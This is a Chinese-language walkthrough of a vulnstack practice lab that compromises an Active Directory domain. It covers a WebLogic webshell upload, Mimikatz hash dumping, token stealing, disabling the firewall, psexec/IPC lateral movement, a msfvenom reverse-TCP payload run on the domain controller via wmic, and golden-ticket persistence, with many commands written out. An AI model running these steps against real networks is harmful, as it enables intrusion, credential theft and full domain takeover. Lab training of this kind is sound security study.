一、环境搭建
1.1 靶场下载
靶场下载地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/3/
靶机通用密码: 1qaz@WSX
1.2 环境配置
拓朴图
下载好靶机打开vmx文件即可,由于DMZ网段为192.168.111.0/24,所以需要将子网ip设置为192.168.111.0
1.3 环境说明
DC:
IP:10.10.10.10
OS:Windows 2012
应用:AD域
WEB(初始的状态默认密码无法登录,切换用户 de1ay/1qaz@WSX 登录进去):
IP1:10.10.10.80
IP2:192.168.111.80
OS:Windows 2008
应用:Weblogic 10.3.6 MSSQL 2008
PC:
IP1:10.10.10.201
IP2:192.168.111.201
OS:Windows 7
攻击机:
IP:192.168.111.128
OS:Windows 10
IP:192.168.111.129
OS:Kali
内网网段:10.10.10.0/24
DMZ网段:192.168.111.0/24
先从WEB机开始,注意需要手动开启服务,在 C:\Oracle\Middleware\user_projects\domains\base_domain\bin 下有一个 startWeblogic 的批处理,管理员身份运行它即可,管理员账号密码:Administrator/1qaz@WSX
WEB机和PC机:计算机右键->管理->配置->服务->Server、Workstation、Computer Browser 全部启动
二、外网渗透
拿到环境后,首先进行端口探测,这里使用-sS参数,由于防火墙的存在不能使用icmp包,所以使用syn包探测
通过扫描端口,我们通过端口初步判断目标机存在的服务及可能存在的漏洞,如445端口开放就意味着存smb服务,存在smb服务就可能存在ms17-010/端口溢出漏洞。开放139端口,就存在Samba服务,就可能存在爆破/未授权访问/远程命令执行漏洞。开放1433端口,就存在mssql服务,可能存在爆破/注入/SA弱口令。开放3389端口,就存在远程桌面。开放7001端口就存在weblogic。
这里先看一下weblogic,直接使用 WeblogicScan 扫描一下可能存在的漏洞,工具地址:https://github.com/rabbitmask/WeblogicScan
命令:python3 WeblogicScan.py -u 192.168.111.80 -p 7001
使用 java 反序列化终极测试工具测试漏洞
上传冰蝎马,关于选择 webshell 上传路径问题,参考 https://www.cnblogs.com/sstfy/p/10350915.html
上传路径为:
C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\uddiexplorer\5f6ebw\war\shell.jsp
冰蝎连接 http://192.168.111.80:7001/uddiexplorer/shell.jsp
CS上线
CS派生MSF
三、内网渗透
3.1 凭据获取
右键->Access->Dump Hashes(需要Administrator权限)
右键->Access->Run Mimikatz
3.2 提权到system
ms14-058 提到 system 权限
也可以使用令牌窃取,提权
meterpreter > load incognito //加载incognito
meterpreter > getuid //查看当前token
meterpreter > list_tokens -u //列出可用token
meterpreter > impersonate_token "NT AUTHORITY\\SYSTEM" //token窃取,格式为impersonate_token"主机名\\用户名"
meterpreter > getuid //查看当前token
meterpreter > rev2self //返回之前的token
windows平台下的incognito.exe操作与此类似。
3.3 域信息收集
ipconfig /all,发现机器有双网卡,内网 10.10.10.1/24 网段,域控 ip 10.10.10.10 (域控一般是本机的DNS服务器)
运行portscan模块,扫描内网
查看域名 net config workstation
关闭防火墙 netsh advfirewall set allprofiles state off
查看有几个域 net view /domain
查看域内主机 nei view
查询域内用户 net user /domain #该命令在本环境中需要在system权限下执行
查看域管理员 net group "domain admins" /domain
查看域控 net group "domain controllers" /domain
3.4 psexec 传递
psexec 是微软 pstools 工具包中最常用的一个工具,也是在内网渗透中的免杀渗透利器。psexec 能够在命令行下在对方没有开启 telnet 服务的时候返回一个半交互的命令行,像 telnet 客户端一样。原理是基于IPC共享,所以要目标打开 445 端口。另外在启动这个 psexec 建立连接之后对方机器上会被安装一个服务。
获取凭据后对目标网段进行端口存活探测,因为是 psexec 传递登录,这里仅需探测445端口
命令:portscan ip网段 端口 扫描协议(arp、icmp、none) 线程
例如:portscan 10.10.10.0/24 445 arp 200
可看到域控机器DC开放了445端口
工具栏 View->Targets 查看端口探测后的存活主机
新建一个 Listener,Payload 选择 windows/beacon_smb/bind_pipe
存活主机右键->Login->psexec,选择之前获取到的凭据信息(明文密文均可),选择 Listener 及主机 Session
DC成功上线:
3.5 IPC连接
建立IPC$连接上传木马 建立后可以访问目标机器的文件(上传、下载),也可以在目标机器上运行命令。上传和下载文件直接通过copy命令就可以,不过路径换成UNC路径。
常用命令:
net use \\ip\ipc$ pawword /user:username 建立IPC连接
copy hacker.exe \\10.10.10.10\C$\windows\temp 复制本地文件到目标服务器
copy \\10.10.10.10\C$\windows\temp\hash.txt 复制目标服务器文件到本地
3.5.1 使用msf来中转路由
1.meterpreter生成payload.exe
msfvenom -p windows/meterpreter_reverse_tcp LHOST=10.10.10.80 LPORT=8888 -f exe > /tmp/payload.exe
2.ipc连接
beacon> shell net use \\ip\ipc$ pawword /user:username
beacon> shell copy C:\Users\de1ay.DE1AY\Desktop\payload.exe \\10.10.10.10\c$\windows\temp\payload.exe
3.meterpreter进行监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 10.10.10.80
set lport 8888
4.在跳板机上通过wmic命令执行木马
beacon> shell wmic /node:10.10.10.10 /user:de1ay /password:1qaz@WSX process call create "C:\Windows\Temp\payload.exe"
成功上线:
sessions:
3.5.2 使用cobalt strike来中转路由
作进一步拓展
1.点击Listener 同meterpreter设置 lport ,lhost
2.生成木马,设置listener为刚才设置的
msfvenom -p windows/meterpreter_reverse_tcp LHOST=10.10.10.80 LPORT=8888 -f exe > /tmp/payload.exe
3.ipc连接
beacon> shell net use \\ip\ipc$ pawword /user:username
beacon> shell copy C:\Users\de1ay.DE1AY\Desktop\payload.exe \\10.10.10.10\c$\windows\temp\payload.exe
4.在跳板机上通过wmic命令执行木马
beacon> shell wmic /node:10.10.10.10 /user:de1ay /password:1qaz@WSX process call create "C:\Windows\Temp\payload.exe"
5.如果是在dc.de1ay.com双击木马是普通权限,通过cs的中转路由是administrator权限,此时我们拿到域控的管理员权限
四、权限维持
4.1域控信息收集
在域控获得KRBTGT账户NTLM密码哈希和SID
4.2黄金票据利用
黄金票据是伪造票据授予票据(TGT),也被称为认证票据。TGT仅用于向域控制器上的密钥分配中心(KDC)证明用户已被其他域控制器认证。
黄金票据的条件要求:
1.域名称
2.域的SID值
3.域的KRBTGT账户NTLM密码哈希
4.伪造用户名
黄金票据可以在拥有普通域用户权限和KRBTGT账号的哈希的情况下用来获取域管理员权限,上面已经获得域控的 system 权限了,还可以使用黄金票据做权限维持,当域控权限掉后,在通过域内其他任意机器伪造票据重新获取最高权限。
WEB机 Administrator 权限机器->右键->Access->Golden Ticket
伪造成功:
参考: